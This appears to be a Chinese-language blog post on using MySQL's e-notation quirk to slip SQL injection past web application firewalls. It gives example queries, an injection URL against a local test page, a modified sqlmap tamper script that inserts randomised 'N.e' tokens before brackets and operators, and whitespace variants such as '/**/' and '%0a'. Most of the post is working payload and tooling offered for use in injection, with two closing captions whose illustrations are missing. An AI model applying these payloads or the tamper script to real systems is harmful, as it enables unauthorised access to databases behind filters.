0x01测试
科学记数法,中的e记数法,在指定符号前会被忽略
( ) 。, | &%*^/
例如我这边查询语句为
select id,title from sqli_data limit 1,1;
在那些指定符号前加上科学计数法语句如下,运行结果也是一样的
select id 520.e,title from sqli_data limit 1 520.e,1;
这个520.e前面的数字无所谓可以是任意数字如:
520.1314e
在实际注入中应用例子
http://127.0.0.1/sqli.php?id=-9706 union select 1,2,database 520.e( 520.e)--+
0x02 tamper
最新版sqlmap已经实现了这个tamper
https://github.com/sqlmapproject/sqlmap/blob/master/tamper/scientific.py
但是他的数字是一直固定的1.e这里进行一点修改将他修改为随机的效果如图
#!/usr/bin/env python
"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
import random
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Abuses MySQL scientific notation
Requirement:
* MySQL
Notes:
* Reference: https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/
>>> tamper('1 AND ORD(MID((CURRENT_USER()),7,1))>1')
'1 AND ORD 1.e(MID((CURRENT_USER 1.e( 1.e) 1.e) 1.e,7 1.e,1 1.e) 1.e)>1'
"""
if payload:
num=random.randint(1,9999999)
payload = re.sub(r"[),.*^/|&]", r" {}.e\g<0>".format(num), payload)
num=random.randint(1,9999999)
payload = re.sub(r"(\w+)\(", lambda match: "%s %d.e(" % (match.group(1),num) if not re.search(r"(?i)\A(MID|CAST|FROM|COUNT)\Z", match.group(1)) else match.group(0), payload) # NOTE: MID and CAST don't work for sure
return payload
0x03 其他
在科学计数法前需要空白字符不一定是空格也可以是其他字符如:
user(/**/7466978.e)
user(%0a7466978.e)
user(%0a7466978.e)
只能加在& |也就是运算的时候而不能加在当and 或 or的情况下 && ||
正确使用情况
错误